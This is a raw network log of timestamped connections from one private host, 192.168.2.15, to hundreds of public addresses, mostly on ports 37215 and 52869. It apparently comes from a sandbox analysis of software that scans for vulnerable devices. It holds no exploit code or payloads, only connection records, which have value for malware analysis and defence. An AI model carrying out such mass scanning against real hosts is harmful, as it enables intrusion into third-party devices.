Oct 6, 2024 20:00:46.672108889 CEST	49416	37215	192.168.2.15	41.90.240.235
Oct 6, 2024 20:00:46.672110081 CEST	49416	37215	192.168.2.15	197.250.236.198
Oct 6, 2024 20:00:46.672108889 CEST	49416	37215	192.168.2.15	197.235.183.194
Oct 6, 2024 20:00:46.672112942 CEST	49416	37215	192.168.2.15	197.238.238.40
Oct 6, 2024 20:00:46.672118902 CEST	49416	37215	192.168.2.15	41.24.123.15
Oct 6, 2024 20:00:46.672120094 CEST	49416	37215	192.168.2.15	197.248.243.88
Oct 6, 2024 20:00:46.672130108 CEST	49416	37215	192.168.2.15	156.129.143.61
Oct 6, 2024 20:00:46.672139883 CEST	49416	37215	192.168.2.15	156.53.210.187
Oct 6, 2024 20:00:46.672143936 CEST	49416	37215	192.168.2.15	41.217.186.18
Oct 6, 2024 20:00:46.672147036 CEST	49416	37215	192.168.2.15	156.86.243.109
Oct 6, 2024 20:00:46.672147036 CEST	49416	37215	192.168.2.15	156.70.119.154
Oct 6, 2024 20:00:46.672148943 CEST	49416	37215	192.168.2.15	156.10.90.255
Oct 6, 2024 20:00:46.672164917 CEST	49416	37215	192.168.2.15	41.21.185.157
Oct 6, 2024 20:00:46.672168970 CEST	49416	37215	192.168.2.15	156.114.5.147
Oct 6, 2024 20:00:46.672168970 CEST	49416	37215	192.168.2.15	41.71.154.130
Oct 6, 2024 20:00:46.672169924 CEST	49416	37215	192.168.2.15	197.183.80.29
Oct 6, 2024 20:00:46.672169924 CEST	49416	37215	192.168.2.15	197.156.249.43
Oct 6, 2024 20:00:46.672169924 CEST	49416	37215	192.168.2.15	197.245.153.232
Oct 6, 2024 20:00:46.672174931 CEST	49416	37215	192.168.2.15	197.126.3.29
Oct 6, 2024 20:00:46.672174931 CEST	49416	37215	192.168.2.15	41.120.184.133
Oct 6, 2024 20:00:46.672183037 CEST	49416	37215	192.168.2.15	41.96.95.31
Oct 6, 2024 20:00:46.672184944 CEST	49416	37215	192.168.2.15	197.109.240.181
Oct 6, 2024 20:00:46.672184944 CEST	49416	37215	192.168.2.15	197.25.124.188
Oct 6, 2024 20:00:46.672184944 CEST	49416	37215	192.168.2.15	41.124.46.45
Oct 6, 2024 20:00:46.672187090 CEST	49416	37215	192.168.2.15	41.208.241.116
Oct 6, 2024 20:00:46.672188044 CEST	49416	37215	192.168.2.15	156.206.142.36
Oct 6, 2024 20:00:46.672188044 CEST	49416	37215	192.168.2.15	41.36.70.241
Oct 6, 2024 20:00:46.672188044 CEST	49416	37215	192.168.2.15	156.58.145.244
Oct 6, 2024 20:00:46.672188044 CEST	49416	37215	192.168.2.15	197.152.194.52
Oct 6, 2024 20:00:46.672188044 CEST	49416	37215	192.168.2.15	197.5.72.4
Oct 6, 2024 20:00:46.672194004 CEST	49416	37215	192.168.2.15	197.140.77.100
Oct 6, 2024 20:00:46.672194004 CEST	49416	37215	192.168.2.15	41.5.205.213
Oct 6, 2024 20:00:46.672194004 CEST	49416	37215	192.168.2.15	197.133.133.55
Oct 6, 2024 20:00:46.672214031 CEST	49416	37215	192.168.2.15	41.8.239.136
Oct 6, 2024 20:00:46.672214031 CEST	49416	37215	192.168.2.15	197.118.87.109
Oct 6, 2024 20:00:46.672214985 CEST	49416	37215	192.168.2.15	156.176.27.54
Oct 6, 2024 20:00:46.672214985 CEST	49416	37215	192.168.2.15	41.29.35.194
Oct 6, 2024 20:00:46.672215939 CEST	49416	37215	192.168.2.15	41.104.199.31
Oct 6, 2024 20:00:46.672214985 CEST	49416	37215	192.168.2.15	41.24.197.146
Oct 6, 2024 20:00:46.672215939 CEST	49416	37215	192.168.2.15	41.196.5.138
Oct 6, 2024 20:00:46.672216892 CEST	49416	37215	192.168.2.15	41.55.13.15
Oct 6, 2024 20:00:46.672215939 CEST	49416	37215	192.168.2.15	156.34.250.6
Oct 6, 2024 20:00:46.672216892 CEST	49416	37215	192.168.2.15	156.22.125.117
Oct 6, 2024 20:00:46.672219038 CEST	49416	37215	192.168.2.15	197.76.205.112
Oct 6, 2024 20:00:46.672218084 CEST	49416	37215	192.168.2.15	197.215.210.250
Oct 6, 2024 20:00:46.672219038 CEST	49416	37215	192.168.2.15	156.157.129.131
Oct 6, 2024 20:00:46.672219038 CEST	49416	37215	192.168.2.15	156.112.119.23
Oct 6, 2024 20:00:46.672219038 CEST	49416	37215	192.168.2.15	156.30.243.158
Oct 6, 2024 20:00:46.672219038 CEST	49416	37215	192.168.2.15	156.92.74.99
Oct 6, 2024 20:00:46.672224045 CEST	49416	37215	192.168.2.15	197.197.29.102
Oct 6, 2024 20:00:46.672224045 CEST	49416	37215	192.168.2.15	41.45.37.177
Oct 6, 2024 20:00:46.672224998 CEST	49416	37215	192.168.2.15	197.132.182.6
Oct 6, 2024 20:00:46.672224998 CEST	49416	37215	192.168.2.15	156.88.150.1
Oct 6, 2024 20:00:46.672235966 CEST	49416	37215	192.168.2.15	41.51.68.155
Oct 6, 2024 20:00:46.672235966 CEST	49416	37215	192.168.2.15	41.98.74.71
Oct 6, 2024 20:00:46.672236919 CEST	49416	37215	192.168.2.15	197.162.8.166
Oct 6, 2024 20:00:46.672236919 CEST	49416	37215	192.168.2.15	41.114.62.44
Oct 6, 2024 20:00:46.672236919 CEST	49416	37215	192.168.2.15	156.59.191.179
Oct 6, 2024 20:00:46.672241926 CEST	49416	37215	192.168.2.15	41.94.16.63
Oct 6, 2024 20:00:46.672241926 CEST	49416	37215	192.168.2.15	197.174.191.171
Oct 6, 2024 20:00:46.672241926 CEST	49416	37215	192.168.2.15	156.44.60.201
Oct 6, 2024 20:00:46.672243118 CEST	49416	37215	192.168.2.15	41.253.109.69
Oct 6, 2024 20:00:46.672243118 CEST	49416	37215	192.168.2.15	156.247.77.90
Oct 6, 2024 20:00:46.672243118 CEST	49416	37215	192.168.2.15	156.167.166.51
Oct 6, 2024 20:00:46.672278881 CEST	49416	37215	192.168.2.15	156.236.1.147
Oct 6, 2024 20:00:46.672278881 CEST	49416	37215	192.168.2.15	156.24.112.230
Oct 6, 2024 20:00:46.672278881 CEST	49416	37215	192.168.2.15	197.225.75.97
Oct 6, 2024 20:00:46.672281027 CEST	49416	37215	192.168.2.15	156.151.117.78
Oct 6, 2024 20:00:46.672281027 CEST	49416	37215	192.168.2.15	197.243.105.228
Oct 6, 2024 20:00:46.672281027 CEST	49416	37215	192.168.2.15	156.107.98.246
Oct 6, 2024 20:00:46.672282934 CEST	49416	37215	192.168.2.15	197.129.38.92
Oct 6, 2024 20:00:46.672283888 CEST	49416	37215	192.168.2.15	41.105.77.118
Oct 6, 2024 20:00:46.672283888 CEST	49416	37215	192.168.2.15	156.71.117.29
Oct 6, 2024 20:00:46.672283888 CEST	49416	37215	192.168.2.15	156.59.26.107
Oct 6, 2024 20:00:46.672283888 CEST	49416	37215	192.168.2.15	156.43.24.26
Oct 6, 2024 20:00:46.672283888 CEST	49416	37215	192.168.2.15	156.188.48.72
Oct 6, 2024 20:00:46.672283888 CEST	49416	37215	192.168.2.15	197.210.185.196
Oct 6, 2024 20:00:46.672286034 CEST	49416	37215	192.168.2.15	156.42.193.15
Oct 6, 2024 20:00:46.672285080 CEST	49416	37215	192.168.2.15	156.217.254.46
Oct 6, 2024 20:00:46.672283888 CEST	49416	37215	192.168.2.15	156.39.210.235
Oct 6, 2024 20:00:46.672291040 CEST	49416	37215	192.168.2.15	197.208.11.143
Oct 6, 2024 20:00:46.672286034 CEST	49416	37215	192.168.2.15	41.155.235.35
Oct 6, 2024 20:00:46.672283888 CEST	49416	37215	192.168.2.15	41.7.44.251
Oct 6, 2024 20:00:46.672291040 CEST	49416	37215	192.168.2.15	156.130.50.8
Oct 6, 2024 20:00:46.672286034 CEST	49416	37215	192.168.2.15	197.38.201.192
Oct 6, 2024 20:00:46.672285080 CEST	49416	37215	192.168.2.15	41.242.210.254
Oct 6, 2024 20:00:46.672291994 CEST	49416	37215	192.168.2.15	197.238.57.48
Oct 6, 2024 20:00:46.672317982 CEST	49416	37215	192.168.2.15	41.159.183.168
Oct 6, 2024 20:00:46.672317982 CEST	49416	37215	192.168.2.15	156.147.150.113
Oct 6, 2024 20:00:46.672318935 CEST	49416	37215	192.168.2.15	156.173.62.248
Oct 6, 2024 20:00:46.672317982 CEST	49416	37215	192.168.2.15	197.163.79.12
Oct 6, 2024 20:00:46.672319889 CEST	49416	37215	192.168.2.15	197.12.215.155
Oct 6, 2024 20:00:46.672318935 CEST	49416	37215	192.168.2.15	197.64.210.59
Oct 6, 2024 20:00:46.672317982 CEST	49416	37215	192.168.2.15	41.197.130.66
Oct 6, 2024 20:00:46.672318935 CEST	49416	37215	192.168.2.15	197.249.95.73
Oct 6, 2024 20:00:46.672317982 CEST	49416	37215	192.168.2.15	156.58.36.135
Oct 6, 2024 20:00:46.672322989 CEST	49416	37215	192.168.2.15	41.188.173.159
Oct 6, 2024 20:00:46.672319889 CEST	49416	37215	192.168.2.15	41.11.43.158
Oct 6, 2024 20:00:46.672318935 CEST	49416	37215	192.168.2.15	41.177.20.212
Oct 6, 2024 20:00:46.672319889 CEST	49416	37215	192.168.2.15	197.5.95.169
Oct 6, 2024 20:00:46.672318935 CEST	49416	37215	192.168.2.15	41.122.229.83
Oct 6, 2024 20:00:46.672318935 CEST	49416	37215	192.168.2.15	41.26.149.123
Oct 6, 2024 20:00:46.672326088 CEST	49416	37215	192.168.2.15	197.168.168.45
Oct 6, 2024 20:00:46.672322989 CEST	49416	37215	192.168.2.15	197.201.164.78
Oct 6, 2024 20:00:46.672326088 CEST	49416	37215	192.168.2.15	197.90.114.4
Oct 6, 2024 20:00:46.672322989 CEST	49416	37215	192.168.2.15	41.233.18.195
Oct 6, 2024 20:00:46.672326088 CEST	49416	37215	192.168.2.15	41.127.134.180
Oct 6, 2024 20:00:46.672322989 CEST	49416	37215	192.168.2.15	156.249.154.166
Oct 6, 2024 20:00:46.672326088 CEST	49416	37215	192.168.2.15	156.239.109.3
Oct 6, 2024 20:00:46.672322989 CEST	49416	37215	192.168.2.15	197.102.223.100
Oct 6, 2024 20:00:46.672326088 CEST	49416	37215	192.168.2.15	197.131.24.224
Oct 6, 2024 20:00:46.672326088 CEST	49416	37215	192.168.2.15	156.218.221.76
Oct 6, 2024 20:00:46.672326088 CEST	49416	37215	192.168.2.15	41.36.90.201
Oct 6, 2024 20:00:46.672338009 CEST	49416	37215	192.168.2.15	156.100.46.182
Oct 6, 2024 20:00:46.672324896 CEST	49416	37215	192.168.2.15	156.226.184.194
Oct 6, 2024 20:00:46.672338963 CEST	49416	37215	192.168.2.15	156.238.6.149
Oct 6, 2024 20:00:46.672338963 CEST	49416	37215	192.168.2.15	41.154.25.98
Oct 6, 2024 20:00:46.672338963 CEST	49416	37215	192.168.2.15	41.159.222.181
Oct 6, 2024 20:00:46.672339916 CEST	49416	37215	192.168.2.15	156.97.228.76
Oct 6, 2024 20:00:46.672324896 CEST	49416	37215	192.168.2.15	156.160.106.5
Oct 6, 2024 20:00:46.672342062 CEST	49416	37215	192.168.2.15	41.144.244.50
Oct 6, 2024 20:00:46.672339916 CEST	49416	37215	192.168.2.15	156.192.119.230
Oct 6, 2024 20:00:46.672343016 CEST	49416	37215	192.168.2.15	197.222.63.214
Oct 6, 2024 20:00:46.672324896 CEST	49416	37215	192.168.2.15	197.172.115.152
Oct 6, 2024 20:00:46.672343016 CEST	49416	37215	192.168.2.15	41.190.221.91
Oct 6, 2024 20:00:46.672343016 CEST	49416	37215	192.168.2.15	156.133.66.173
Oct 6, 2024 20:00:46.672357082 CEST	49416	37215	192.168.2.15	197.201.31.17
Oct 6, 2024 20:00:46.672358036 CEST	49416	37215	192.168.2.15	156.217.64.196
Oct 6, 2024 20:00:46.672425032 CEST	57252	37215	192.168.2.15	156.80.69.183
Oct 6, 2024 20:00:46.672425032 CEST	57252	37215	192.168.2.15	156.80.69.183
Oct 6, 2024 20:00:46.673284054 CEST	57662	37215	192.168.2.15	156.80.69.183
Oct 6, 2024 20:00:46.673820019 CEST	45922	37215	192.168.2.15	41.17.121.18
Oct 6, 2024 20:00:46.673820019 CEST	45922	37215	192.168.2.15	41.17.121.18
Oct 6, 2024 20:00:46.674150944 CEST	46330	37215	192.168.2.15	41.17.121.18
Oct 6, 2024 20:00:46.674546003 CEST	48988	37215	192.168.2.15	156.42.236.52
Oct 6, 2024 20:00:46.674546003 CEST	48988	37215	192.168.2.15	156.42.236.52
Oct 6, 2024 20:00:46.675168991 CEST	49396	37215	192.168.2.15	156.42.236.52
Oct 6, 2024 20:00:46.675584078 CEST	58478	37215	192.168.2.15	41.233.44.190
Oct 6, 2024 20:00:46.675584078 CEST	58478	37215	192.168.2.15	41.233.44.190
Oct 6, 2024 20:00:46.676266909 CEST	58884	37215	192.168.2.15	41.233.44.190
Oct 6, 2024 20:00:46.676549911 CEST	40306	37215	192.168.2.15	156.139.12.174
Oct 6, 2024 20:00:46.676549911 CEST	40306	37215	192.168.2.15	156.139.12.174
Oct 6, 2024 20:00:46.676603079 CEST	52869	49160	156.141.86.140	192.168.2.15
Oct 6, 2024 20:00:46.676651001 CEST	49160	52869	192.168.2.15	156.141.86.140
Oct 6, 2024 20:00:46.676740885 CEST	52869	49160	197.91.206.158	192.168.2.15
Oct 6, 2024 20:00:46.676781893 CEST	52869	49160	41.169.114.35	192.168.2.15
Oct 6, 2024 20:00:46.676794052 CEST	49160	52869	192.168.2.15	197.91.206.158
Oct 6, 2024 20:00:46.676810026 CEST	52869	44302	197.245.110.106	192.168.2.15
Oct 6, 2024 20:00:46.676820993 CEST	49160	52869	192.168.2.15	41.169.114.35
Oct 6, 2024 20:00:46.676841021 CEST	52869	49160	156.113.192.250	192.168.2.15
Oct 6, 2024 20:00:46.676862955 CEST	44302	52869	192.168.2.15	197.245.110.106
Oct 6, 2024 20:00:46.676889896 CEST	49160	52869	192.168.2.15	156.113.192.250
Oct 6, 2024 20:00:46.676904917 CEST	40712	37215	192.168.2.15	156.139.12.174
Oct 6, 2024 20:00:46.677078962 CEST	52869	49160	156.238.13.216	192.168.2.15
Oct 6, 2024 20:00:46.677109957 CEST	52869	49160	156.68.33.3	192.168.2.15
Oct 6, 2024 20:00:46.677124023 CEST	49160	52869	192.168.2.15	156.238.13.216
Oct 6, 2024 20:00:46.677169085 CEST	49160	52869	192.168.2.15	156.68.33.3
Oct 6, 2024 20:00:46.677283049 CEST	48806	37215	192.168.2.15	197.45.60.52
Oct 6, 2024 20:00:46.677283049 CEST	48806	37215	192.168.2.15	197.45.60.52
Oct 6, 2024 20:00:46.677542925 CEST	52869	52526	197.248.131.4	192.168.2.15
Oct 6, 2024 20:00:46.677572012 CEST	52869	52784	156.209.222.208	192.168.2.15
Oct 6, 2024 20:00:46.677589893 CEST	52526	52869	192.168.2.15	197.248.131.4
Oct 6, 2024 20:00:46.677623034 CEST	49210	37215	192.168.2.15	197.45.60.52
Oct 6, 2024 20:00:46.677648067 CEST	52869	39910	41.183.191.136	192.168.2.15
Oct 6, 2024 20:00:46.677678108 CEST	37215	57252	156.80.69.183	192.168.2.15
Oct 6, 2024 20:00:46.677773952 CEST	52869	39910	41.183.191.136	192.168.2.15
Oct 6, 2024 20:00:46.677819014 CEST	39910	52869	192.168.2.15	41.183.191.136
Oct 6, 2024 20:00:46.678071976 CEST	58082	37215	192.168.2.15	156.16.124.10
Oct 6, 2024 20:00:46.678071976 CEST	58082	37215	192.168.2.15	156.16.124.10
Oct 6, 2024 20:00:46.678483963 CEST	58486	37215	192.168.2.15	156.16.124.10
Oct 6, 2024 20:00:46.678622007 CEST	52869	52784	156.209.222.208	192.168.2.15
Oct 6, 2024 20:00:46.678700924 CEST	52784	52869	192.168.2.15	156.209.222.208
Oct 6, 2024 20:00:46.678752899 CEST	37215	45922	41.17.121.18	192.168.2.15
Oct 6, 2024 20:00:46.678865910 CEST	50862	37215	192.168.2.15	41.120.114.119
Oct 6, 2024 20:00:46.678865910 CEST	50862	37215	192.168.2.15	41.120.114.119
Oct 6, 2024 20:00:46.679234982 CEST	51264	37215	192.168.2.15	41.120.114.119
Oct 6, 2024 20:00:46.679867983 CEST	37215	48988	156.42.236.52	192.168.2.15
Oct 6, 2024 20:00:46.680933952 CEST	37215	58478	41.233.44.190	192.168.2.15
Oct 6, 2024 20:00:46.681055069 CEST	37215	58884	41.233.44.190	192.168.2.15
Oct 6, 2024 20:00:46.681107998 CEST	58884	37215	192.168.2.15	41.233.44.190
Oct 6, 2024 20:00:46.681370020 CEST	58884	37215	192.168.2.15	41.233.44.190
Oct 6, 2024 20:00:46.681636095 CEST	37215	40306	156.139.12.174	192.168.2.15
Oct 6, 2024 20:00:46.682672024 CEST	37215	48806	197.45.60.52	192.168.2.15
Oct 6, 2024 20:00:46.684561014 CEST	37215	58082	156.16.124.10	192.168.2.15
Oct 6, 2024 20:00:46.685585976 CEST	37215	50862	41.120.114.119	192.168.2.15
Oct 6, 2024 20:00:46.690880060 CEST	37215	58884	41.233.44.190	192.168.2.15
Oct 6, 2024 20:00:46.690953016 CEST	58884	37215	192.168.2.15	41.233.44.190
Oct 6, 2024 20:00:46.698306084 CEST	52342	52869	192.168.2.15	197.188.171.59
Oct 6, 2024 20:00:46.698309898 CEST	47392	52869	192.168.2.15	197.91.217.111
Oct 6, 2024 20:00:46.698312044 CEST	34798	37215	192.168.2.15	41.188.37.80
Oct 6, 2024 20:00:46.698318005 CEST	48854	37215	192.168.2.15	156.169.155.153
Oct 6, 2024 20:00:46.698318958 CEST	54520	37215	192.168.2.15	197.100.196.209
Oct 6, 2024 20:00:46.698318005 CEST	53220	52869	192.168.2.15	41.234.254.118
Oct 6, 2024 20:00:46.698318005 CEST	52282	37215	192.168.2.15	156.68.175.89
Oct 6, 2024 20:00:46.698328018 CEST	51078	37215	192.168.2.15	197.6.85.118
Oct 6, 2024 20:00:46.698328018 CEST	45548	37215	192.168.2.15	156.252.219.203
Oct 6, 2024 20:00:46.698333025 CEST	60126	52869	192.168.2.15	197.66.205.185
Oct 6, 2024 20:00:46.698337078 CEST	56142	52869	192.168.2.15	41.88.112.9
Oct 6, 2024 20:00:46.698337078 CEST	59798	52869	192.168.2.15	197.115.54.7
Oct 6, 2024 20:00:46.698337078 CEST	55388	37215	192.168.2.15	197.209.210.67
Oct 6, 2024 20:00:46.698342085 CEST	57484	52869	192.168.2.15	156.140.4.216
Oct 6, 2024 20:00:46.698343992 CEST	46158	37215	192.168.2.15	41.40.22.66
Oct 6, 2024 20:00:46.698343992 CEST	35814	37215	192.168.2.15	197.199.224.132
Oct 6, 2024 20:00:46.698348045 CEST	50306	37215	192.168.2.15	197.230.212.179
Oct 6, 2024 20:00:46.698349953 CEST	34308	37215	192.168.2.15	41.241.82.163
Oct 6, 2024 20:00:46.698359966 CEST	56616	52869	192.168.2.15	197.225.206.52
Oct 6, 2024 20:00:46.698363066 CEST	41450	37215	192.168.2.15	41.196.187.73
Oct 6, 2024 20:00:46.698364973 CEST	55586	37215	192.168.2.15	156.186.47.194
Oct 6, 2024 20:00:46.698369026 CEST	45080	52869	192.168.2.15	41.152.8.136
Oct 6, 2024 20:00:46.698380947 CEST	51502	37215	192.168.2.15	197.248.150.107
Oct 6, 2024 20:00:46.698380947 CEST	37000	37215	192.168.2.15	156.221.220.140
Oct 6, 2024 20:00:46.698381901 CEST	51026	37215	192.168.2.15	41.30.135.209
Oct 6, 2024 20:00:46.698385954 CEST	53382	37215	192.168.2.15	41.245.196.43
Oct 6, 2024 20:00:46.703150034 CEST	52869	47392	197.91.217.111	192.168.2.15
Oct 6, 2024 20:00:46.703210115 CEST	47392	52869	192.168.2.15	197.91.217.111
Oct 6, 2024 20:00:46.703238010 CEST	47392	52869	192.168.2.15	197.91.217.111
Oct 6, 2024 20:00:46.703512907 CEST	52869	52342	197.188.171.59	192.168.2.15
Oct 6, 2024 20:00:46.703557968 CEST	52342	52869	192.168.2.15	197.188.171.59
Oct 6, 2024 20:00:46.703706980 CEST	33950	52869	192.168.2.15	156.141.86.140
Oct 6, 2024 20:00:46.704891920 CEST	49088	52869	192.168.2.15	197.91.206.158
Oct 6, 2024 20:00:46.705746889 CEST	44016	52869	192.168.2.15	41.169.114.35
Oct 6, 2024 20:00:46.706545115 CEST	43446	52869	192.168.2.15	156.113.192.250
Oct 6, 2024 20:00:46.707423925 CEST	52490	52869	192.168.2.15	156.238.13.216
Oct 6, 2024 20:00:46.708513021 CEST	50716	52869	192.168.2.15	156.68.33.3
Oct 6, 2024 20:00:46.708573103 CEST	52869	47392	197.91.217.111	192.168.2.15
Oct 6, 2024 20:00:46.708625078 CEST	47392	52869	192.168.2.15	197.91.217.111
Oct 6, 2024 20:00:46.709230900 CEST	52342	52869	192.168.2.15	197.188.171.59
Oct 6, 2024 20:00:46.712286949 CEST	52869	52490	156.238.13.216	192.168.2.15
Oct 6, 2024 20:00:46.712341070 CEST	52490	52869	192.168.2.15	156.238.13.216
Oct 6, 2024 20:00:46.712378025 CEST	52490	52869	192.168.2.15	156.238.13.216
Oct 6, 2024 20:00:46.712378025 CEST	52490	52869	192.168.2.15	156.238.13.216
Oct 6, 2024 20:00:46.712866068 CEST	52494	52869	192.168.2.15	156.238.13.216
Oct 6, 2024 20:00:46.714098930 CEST	52869	52342	197.188.171.59	192.168.2.15
Oct 6, 2024 20:00:46.714142084 CEST	52342	52869	192.168.2.15	197.188.171.59
Oct 6, 2024 20:00:46.717330933 CEST	52869	52490	156.238.13.216	192.168.2.15
Oct 6, 2024 20:00:46.725678921 CEST	37215	40306	156.139.12.174	192.168.2.15
Oct 6, 2024 20:00:46.725697994 CEST	37215	58478	41.233.44.190	192.168.2.15
Oct 6, 2024 20:00:46.725708961 CEST	37215	48988	156.42.236.52	192.168.2.15
Oct 6, 2024 20:00:46.725719929 CEST	37215	45922	41.17.121.18	192.168.2.15
Oct 6, 2024 20:00:46.725733042 CEST	37215	57252	156.80.69.183	192.168.2.15
Oct 6, 2024 20:00:46.725744963 CEST	37215	50862	41.120.114.119	192.168.2.15
Oct 6, 2024 20:00:46.725754023 CEST	37215	58082	156.16.124.10	192.168.2.15
Oct 6, 2024 20:00:46.725764990 CEST	37215	48806	197.45.60.52	192.168.2.15
Oct 6, 2024 20:00:46.730329990 CEST	36376	37215	192.168.2.15	197.24.111.30
Oct 6, 2024 20:00:46.730338097 CEST	58372	37215	192.168.2.15	41.38.116.194
Oct 6, 2024 20:00:46.730345964 CEST	36588	52869	192.168.2.15	41.33.42.120
Oct 6, 2024 20:00:46.730346918 CEST	58754	52869	192.168.2.15	156.78.143.45
Oct 6, 2024 20:00:46.730359077 CEST	50198	52869	192.168.2.15	41.84.181.199
Oct 6, 2024 20:00:46.730359077 CEST	49318	52869	192.168.2.15	197.116.43.94
Oct 6, 2024 20:00:46.730361938 CEST	60734	37215	192.168.2.15	41.128.123.30
Oct 6, 2024 20:00:46.730361938 CEST	45194	37215	192.168.2.15	197.96.94.0
Oct 6, 2024 20:00:46.730362892 CEST	42512	37215	192.168.2.15	156.68.15.29
Oct 6, 2024 20:00:46.730362892 CEST	59576	52869	192.168.2.15	197.167.179.38
Oct 6, 2024 20:00:46.730380058 CEST	47486	52869	192.168.2.15	197.102.208.139
Oct 6, 2024 20:00:46.730384111 CEST	46954	37215	192.168.2.15	156.92.240.142
Oct 6, 2024 20:00:46.730382919 CEST	46354	37215	192.168.2.15	41.136.93.105
Oct 6, 2024 20:00:46.730382919 CEST	33900	37215	192.168.2.15	197.45.3.126
Oct 6, 2024 20:00:46.730382919 CEST	52356	52869	192.168.2.15	197.223.1.202
Oct 6, 2024 20:00:46.730382919 CEST	56180	37215	192.168.2.15	197.91.228.36
Oct 6, 2024 20:00:46.730407000 CEST	60956	37215	192.168.2.15	197.127.80.98
Oct 6, 2024 20:00:46.730418921 CEST	54668	37215	192.168.2.15	156.129.242.169
Oct 6, 2024 20:00:46.730418921 CEST	59352	37215	192.168.2.15	156.112.0.159
Oct 6, 2024 20:00:46.730418921 CEST	33088	52869	192.168.2.15	156.111.21.115
Oct 6, 2024 20:00:46.730418921 CEST	52268	52869	192.168.2.15	197.6.243.246
Oct 6, 2024 20:00:46.730418921 CEST	44160	52869	192.168.2.15	156.84.91.166
Oct 6, 2024 20:00:46.730426073 CEST	44968	37215	192.168.2.15	156.132.32.120
Oct 6, 2024 20:00:46.730556011 CEST	58518	37215	192.168.2.15	156.42.253.125
Oct 6, 2024 20:00:46.736196995 CEST	37215	36376	197.24.111.30	192.168.2.15
Oct 6, 2024 20:00:46.736279964 CEST	36376	37215	192.168.2.15	197.24.111.30
Oct 6, 2024 20:00:46.736474991 CEST	36376	37215	192.168.2.15	197.24.111.30
Oct 6, 2024 20:00:46.736485958 CEST	36376	37215	192.168.2.15	197.24.111.30
Oct 6, 2024 20:00:46.736908913 CEST	37215	58372	41.38.116.194	192.168.2.15
Oct 6, 2024 20:00:46.736998081 CEST	58372	37215	192.168.2.15	41.38.116.194
Oct 6, 2024 20:00:46.737176895 CEST	36680	37215	192.168.2.15	197.24.111.30
Oct 6, 2024 20:00:46.737915993 CEST	58372	37215	192.168.2.15	41.38.116.194
Oct 6, 2024 20:00:46.738001108 CEST	58372	37215	192.168.2.15	41.38.116.194
Oct 6, 2024 20:00:46.738748074 CEST	58682	37215	192.168.2.15	41.38.116.194
Oct 6, 2024 20:00:46.741343021 CEST	37215	36376	197.24.111.30	192.168.2.15
Oct 6, 2024 20:00:46.742177963 CEST	37215	36680	197.24.111.30	192.168.2.15
Oct 6, 2024 20:00:46.742225885 CEST	36680	37215	192.168.2.15	197.24.111.30
Oct 6, 2024 20:00:46.743402958 CEST	36680	37215	192.168.2.15	197.24.111.30
Oct 6, 2024 20:00:46.743422031 CEST	37215	58372	41.38.116.194	192.168.2.15
Oct 6, 2024 20:00:46.748928070 CEST	37215	36680	197.24.111.30	192.168.2.15
Oct 6, 2024 20:00:46.748986006 CEST	36680	37215	192.168.2.15	197.24.111.30
Oct 6, 2024 20:00:46.762442112 CEST	48426	37215	192.168.2.15	156.147.156.210
Oct 6, 2024 20:00:46.762442112 CEST	53598	52869	192.168.2.15	41.145.82.194
Oct 6, 2024 20:00:46.762442112 CEST	50306	37215	192.168.2.15	41.218.74.136
Oct 6, 2024 20:00:46.762443066 CEST	58874	37215	192.168.2.15	197.41.142.52
Oct 6, 2024 20:00:46.762443066 CEST	34864	37215	192.168.2.15	197.189.46.106
Oct 6, 2024 20:00:46.762447119 CEST	37584	52869	192.168.2.15	156.11.241.64
Oct 6, 2024 20:00:46.762447119 CEST	59266	37215	192.168.2.15	41.128.20.63
Oct 6, 2024 20:00:46.762447119 CEST	49908	37215	192.168.2.15	197.240.195.4
Oct 6, 2024 20:00:46.762447119 CEST	56066	52869	192.168.2.15	156.5.234.27
Oct 6, 2024 20:00:46.762447119 CEST	47148	52869	192.168.2.15	156.67.119.255
Oct 6, 2024 20:00:46.762447119 CEST	59888	52869	192.168.2.15	41.111.81.107
Oct 6, 2024 20:00:46.762463093 CEST	52484	37215	192.168.2.15	197.203.124.49
Oct 6, 2024 20:00:46.762464046 CEST	60506	37215	192.168.2.15	41.150.0.113
Oct 6, 2024 20:00:46.762466908 CEST	58630	37215	192.168.2.15	197.192.233.157
Oct 6, 2024 20:00:46.762469053 CEST	51066	52869	192.168.2.15	156.43.59.77
Oct 6, 2024 20:00:46.762469053 CEST	37776	52869	192.168.2.15	197.229.67.248
Oct 6, 2024 20:00:46.763408899 CEST	43792	37215	192.168.2.15	41.50.215.105
Oct 6, 2024 20:00:46.763411045 CEST	58200	52869	192.168.2.15	197.175.106.121
Oct 6, 2024 20:00:46.763458014 CEST	52869	52490	156.238.13.216	192.168.2.15
Oct 6, 2024 20:00:46.768182039 CEST	37215	48426	156.147.156.210	192.168.2.15
Oct 6, 2024 20:00:46.768292904 CEST	48426	37215	192.168.2.15	156.147.156.210
Oct 6, 2024 20:00:46.768482924 CEST	48426	37215	192.168.2.15	156.147.156.210
Oct 6, 2024 20:00:46.770054102 CEST	52869	53598	41.145.82.194	192.168.2.15
Oct 6, 2024 20:00:46.770118952 CEST	53598	52869	192.168.2.15	41.145.82.194
Oct 6, 2024 20:00:46.770273924 CEST	53598	52869	192.168.2.15	41.145.82.194
Oct 6, 2024 20:00:46.773452997 CEST	37215	48426	156.147.156.210	192.168.2.15
Oct 6, 2024 20:00:46.773505926 CEST	48426	37215	192.168.2.15	156.147.156.210
Oct 6, 2024 20:00:46.775279045 CEST	52869	53598	41.145.82.194	192.168.2.15
Oct 6, 2024 20:00:46.775335073 CEST	53598	52869	192.168.2.15	41.145.82.194
Oct 6, 2024 20:00:46.789591074 CEST	37215	58372	41.38.116.194	192.168.2.15
Oct 6, 2024 20:00:46.789607048 CEST	37215	36376	197.24.111.30	192.168.2.15
Oct 6, 2024 20:00:46.794399977 CEST	33364	37215	192.168.2.15	156.205.129.99
Oct 6, 2024 20:00:46.794399023 CEST	34820	52869	192.168.2.15	156.146.11.26
Oct 6, 2024 20:00:46.794403076 CEST	40640	52869	192.168.2.15	41.126.219.241
Oct 6, 2024 20:00:46.794406891 CEST	52248	52869	192.168.2.15	156.203.57.172
Oct 6, 2024 20:00:46.794408083 CEST	59230	52869	192.168.2.15	156.79.32.11
Oct 6, 2024 20:00:46.794406891 CEST	43146	37215	192.168.2.15	41.61.136.167
Oct 6, 2024 20:00:46.794410944 CEST	52128	37215	192.168.2.15	41.58.165.93
Oct 6, 2024 20:00:46.794421911 CEST	49252	37215	192.168.2.15	197.235.232.143
Oct 6, 2024 20:00:46.794425964 CEST	35460	52869	192.168.2.15	197.196.108.9
Oct 6, 2024 20:00:46.794433117 CEST	41784	52869	192.168.2.15	156.254.20.162
Oct 6, 2024 20:00:46.794433117 CEST	56146	52869	192.168.2.15	41.219.49.191
